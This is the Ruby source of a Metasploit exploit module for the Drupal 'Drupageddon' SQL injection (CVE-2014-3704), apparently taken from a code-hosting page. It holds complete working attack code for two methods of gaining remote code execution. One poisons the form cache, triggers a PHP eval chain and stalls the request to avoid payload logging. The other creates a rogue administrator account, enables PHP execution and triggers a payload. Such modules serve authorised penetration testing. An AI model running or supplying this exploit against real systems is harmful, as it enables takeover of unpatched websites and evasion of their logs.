486 lines
15 KiB
Ruby
486 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
|
|
'Description' => %q{
|
|
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
|
|
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
|
|
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
|
|
in 7.32).
|
|
|
|
Two methods are available to trigger the PHP payload on the target:
|
|
|
|
- set TARGET 0:
|
|
Form-cache PHP injection method (default).
|
|
This uses the SQLi to upload a malicious form to Drupal's cache,
|
|
then trigger the cache entry to execute the payload using a POP chain.
|
|
|
|
- set TARGET 1:
|
|
User-post injection method.
|
|
This creates a new Drupal user, adds it to the administrators group,
|
|
enable Drupal's PHP module, grant the administrators the right to
|
|
bundle PHP code in their post, create a new post containing the
|
|
payload and preview it to trigger the payload execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'SektionEins', # discovery
|
|
'WhiteWinterWolf', # form-cache PHP injection method
|
|
'Christian Mehlmauer', # user-post PHP injection method
|
|
'Brandon Perry' # user-post PHP injection method
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-3704'],
|
|
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
|
|
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'],
|
|
['URL', 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/']
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],
|
|
['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]
|
|
],
|
|
'DisclosureDate' => 'Oct 15 2014',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('Wait', [true, "Number of seconds to wait before triggering the payload sent (form-cache method only).", 5]),
|
|
OptString.new('ADMIN_ROLE', [ true, "The administrator role (user-post method only)", 'administrator']),
|
|
OptInt.new('Iter', [ true, "Hash iterations (2^ITER, user-post method only))", 10])
|
|
])
|
|
end
|
|
|
|
##
|
|
# Form-cache PHP injection method
|
|
##
|
|
|
|
def sql_insert(id, value)
|
|
curlyopen = rand_text_alphanumeric(8)
|
|
curlyclose = rand_text_alphanumeric(8)
|
|
value.gsub!('{', curlyopen)
|
|
value.gsub!('}', curlyclose)
|
|
|
|
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
|
|
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
|
|
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
|
|
end
|
|
|
|
def exploit_formcache
|
|
form_build_id = 'form-' + rand_text_alphanumeric(43)
|
|
|
|
# Remove the malicious cache entries upon success.
|
|
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
|
|
+ "'form_state_" + form_build_id + "'), 'cache_form');"
|
|
evalstr << payload.encoded
|
|
evalstr = Rex::Text.encode_base64(evalstr)
|
|
# '<?php' tag required by php_eval().
|
|
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
|
|
# Don't count the backslashes.
|
|
evalstr_len = evalstr.length - 2
|
|
|
|
# Serialized malicious form state.
|
|
# The PHP module may be disabled (and should be).
|
|
# Load its definition manually to get access to php_eval().
|
|
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
|
|
state << 'i:0;s:22:"modules/php/php.module";'
|
|
state << '}}}'
|
|
# Initiates a POP chain in includes/form.inc:1850, form_builder()
|
|
form = 'a:6:{'
|
|
form << 's:5:"#type";s:4:"form";'
|
|
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
|
|
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
|
|
form << 's:16:"#defaults_loaded";b:1;'
|
|
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
|
|
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
|
|
form << '}'
|
|
|
|
# SQL injection key lines:
|
|
# - modules/user/user.module:2149, user_login_authenticate_validate()
|
|
# - includes/database/database.inc:745, expandArguments()
|
|
sql = sql_insert('form_state_' + form_build_id, state)
|
|
sql << sql_insert('form_' + form_build_id, form)
|
|
# Causes PHP script to timeout, avoiding payload logging.
|
|
sql << 'SELECT SLEEP(666);'
|
|
|
|
# Use the login form to inject the malicious cache entry.
|
|
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
|
|
# Don't check the return code as it *will* timeout.
|
|
send_request_cgi!({
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
# Don't use 'user_login_block' as it may be disabled.
|
|
'form_id' => 'user_login',
|
|
'form_build_id' => '',
|
|
"name[0;#{sql}#]" => '',
|
|
# This field must be located *after* the injection.
|
|
"name[0]" => '',
|
|
'op' => 'Log in',
|
|
'pass' => Rex::Text.rand_text_alpha(8)
|
|
},
|
|
'vars_get' => {
|
|
'q' => 'user/login'
|
|
}
|
|
}, timeout=datastore['Wait'])
|
|
|
|
# Trigger the malicious cache entry using its form ID.
|
|
send_request_cgi!({
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'form_id' => 'user_login',
|
|
"form_build_id" => form_build_id,
|
|
"name" => Rex::Text.rand_text_alpha(10),
|
|
'op' => 'Log in',
|
|
'pass' => Rex::Text.rand_text_alpha(10)
|
|
},
|
|
'vars_get' => {
|
|
'q' => 'user/login'
|
|
}
|
|
})
|
|
end
|
|
|
|
##
|
|
# User-post PHP injection method
|
|
##
|
|
|
|
def uri_path
|
|
normalize_uri(target_uri.path)
|
|
end
|
|
|
|
def admin_role
|
|
datastore['ADMIN_ROLE']
|
|
end
|
|
|
|
def iter
|
|
datastore['Iter']
|
|
end
|
|
|
|
def itoa64
|
|
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
|
end
|
|
|
|
# PHPs PHPASS base64 method
|
|
def phpass_encode64(input, count)
|
|
out = ''
|
|
cur = 0
|
|
while cur < count
|
|
value = input[cur].ord
|
|
cur += 1
|
|
out << itoa64[value & 0x3f]
|
|
if cur < count
|
|
value |= input[cur].ord << 8
|
|
end
|
|
out << itoa64[(value >> 6) & 0x3f]
|
|
break if cur >= count
|
|
cur += 1
|
|
|
|
if cur < count
|
|
value |= input[cur].ord << 16
|
|
end
|
|
out << itoa64[(value >> 12) & 0x3f]
|
|
break if cur >= count
|
|
cur += 1
|
|
out << itoa64[(value >> 18) & 0x3f]
|
|
end
|
|
out
|
|
end
|
|
|
|
def generate_password_hash(pass)
|
|
# Syntax for MD5:
|
|
# $P$ = MD5
|
|
# one char representing the hash iterations (min 7)
|
|
# 8 chars salt
|
|
# MD5_raw(salt.pass) + iterations
|
|
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
|
|
iter_char = itoa64[iter]
|
|
salt = Rex::Text.rand_text_alpha(8)
|
|
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
|
|
# convert iter from log2 to integer
|
|
iter_count = 2**iter
|
|
1.upto(iter_count) {
|
|
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
|
|
}
|
|
md5_base64 = phpass_encode64(md5, md5.length)
|
|
md5_stripped = md5_base64[0...22]
|
|
pass = "$P\\$" + iter_char + salt + md5_stripped
|
|
vprint_status("password hash: #{pass}")
|
|
|
|
return pass
|
|
end
|
|
|
|
def sql_insert_user(user, pass)
|
|
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
|
|
end
|
|
|
|
def sql_make_user_admin(user)
|
|
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
|
|
end
|
|
|
|
def extract_form_ids(content)
|
|
form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
|
|
form_token = $1 if content =~ /name="form_token" value="(.+?)"/
|
|
|
|
vprint_status("form_build_id: #{form_build_id}")
|
|
vprint_status("form_token: #{form_token}")
|
|
|
|
return form_build_id, form_token
|
|
end
|
|
|
|
def exploit_newuser
|
|
|
|
# TODO: Check if option admin_role exists via admin/people/permissions/roles
|
|
|
|
# call login page to extract tokens
|
|
print_status("Testing page")
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'vars_get' => {
|
|
'q' => 'user/login'
|
|
}
|
|
})
|
|
|
|
unless res and res.body
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
form_build_id, form_token = extract_form_ids(res.body)
|
|
|
|
user = Rex::Text.rand_text_alpha(10)
|
|
pass = Rex::Text.rand_text_alpha(10)
|
|
|
|
post = {
|
|
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
|
|
'name[0]' => Rex::Text.rand_text_alpha(10),
|
|
'pass' => Rex::Text.rand_text_alpha(10),
|
|
'form_build_id' => form_build_id,
|
|
'form_id' => 'user_login',
|
|
'op' => 'Log in'
|
|
}
|
|
|
|
print_status("Creating new user #{user}:#{pass}")
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'method' => 'POST',
|
|
'vars_post' => post,
|
|
'vars_get' => {
|
|
'q' => 'user/login'
|
|
}
|
|
})
|
|
|
|
unless res and res.body
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
# login
|
|
print_status("Logging in as #{user}:#{pass}")
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'name' => user,
|
|
'pass' => pass,
|
|
'form_build_id' => form_build_id,
|
|
'form_id' => 'user_login',
|
|
'op' => 'Log in'
|
|
},
|
|
'vars_get' => {
|
|
'q' => 'user/login'
|
|
}
|
|
})
|
|
|
|
unless res and res.code == 302
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
cookie = res.get_cookies
|
|
vprint_status("cookie: #{cookie}")
|
|
|
|
# call admin interface to extract CSRF token and enabled modules
|
|
print_status("Trying to parse enabled modules")
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'vars_get' => {
|
|
'q' => 'admin/modules'
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
form_build_id, form_token = extract_form_ids(res.body)
|
|
|
|
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
|
|
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
|
|
|
|
unless enabled_matches
|
|
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
|
|
end
|
|
|
|
post = {
|
|
'modules[Core][php][enable]' => '1',
|
|
'form_build_id' => form_build_id,
|
|
'form_token' => form_token,
|
|
'form_id' => 'system_modules',
|
|
'op' => 'Save configuration'
|
|
}
|
|
|
|
enabled_matches.each do |match|
|
|
post[match.captures[0]] = '1'
|
|
end
|
|
|
|
# enable PHP filter
|
|
print_status("Enabling the PHP filter module")
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'method' => 'POST',
|
|
'vars_post' => post,
|
|
'vars_get' => {
|
|
'q' => 'admin/modules/list/confirm'
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
unless res and res.body
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
|
|
|
|
print_status("Setting permissions for PHP filter module")
|
|
|
|
# allow admin to use php_code
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'vars_get' => {
|
|
'q' => 'admin/people/permissions'
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
|
|
unless res and res.body
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
form_build_id, form_token = extract_form_ids(res.body)
|
|
|
|
perm_regex = /name="(.*)" value="(.*)" checked="checked"/
|
|
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
|
|
|
|
unless enabled_perms
|
|
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
|
|
end
|
|
|
|
# get administrator role id
|
|
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
|
|
vprint_status("admin role id: #{id}")
|
|
|
|
unless id
|
|
fail_with(Failure::Unknown, "Could not parse out administrator ID")
|
|
end
|
|
|
|
post = {
|
|
"#{id}[use text format php_code]" => 'use text format php_code',
|
|
'form_build_id' => form_build_id,
|
|
'form_token' => form_token,
|
|
'form_id' => 'user_admin_permissions',
|
|
'op' => 'Save permissions'
|
|
}
|
|
|
|
enabled_perms.each do |match|
|
|
post[match.captures[0]] = match.captures[1]
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'method' => 'POST',
|
|
'vars_post' => post,
|
|
'vars_get' => {
|
|
'q' => 'admin/people/permissions'
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
unless res and res.body
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
# Add new Content page (extract csrf token)
|
|
print_status("Getting tokens from create new article page")
|
|
res = send_request_cgi({
|
|
'uri' => uri_path,
|
|
'vars_get' => {
|
|
'q' => 'node/add/article'
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
unless res and res.body
|
|
fail_with(Failure::Unknown, "No response or response body, bailing.")
|
|
end
|
|
|
|
form_build_id, form_token = extract_form_ids(res.body)
|
|
|
|
# Preview to trigger the payload
|
|
data = Rex::MIME::Message.new
|
|
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
|
|
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
|
|
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
|
|
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
|
|
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
|
|
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
|
|
data.add_part('Preview', nil, nil, 'form-data; name="op"')
|
|
data.add_part(user, nil, nil, 'form-data; name="name"')
|
|
data.add_part('1', nil, nil, 'form-data; name="status"')
|
|
data.add_part('1', nil, nil, 'form-data; name="promote"')
|
|
post_data = data.to_s
|
|
|
|
print_status("Calling preview page. Exploit should trigger...")
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => uri_path,
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => post_data,
|
|
'vars_get' => {
|
|
'q' => 'node/add/article'
|
|
},
|
|
'cookie' => cookie
|
|
)
|
|
end
|
|
|
|
##
|
|
# Main
|
|
##
|
|
|
|
def exploit
|
|
case datastore['TARGET']
|
|
when 0
|
|
exploit_formcache
|
|
when 1
|
|
exploit_newuser
|
|
else
|
|
fail_with(Failure::BadConfig, "Invalid target selected.")
|
|
end
|
|
end
|
|
end
|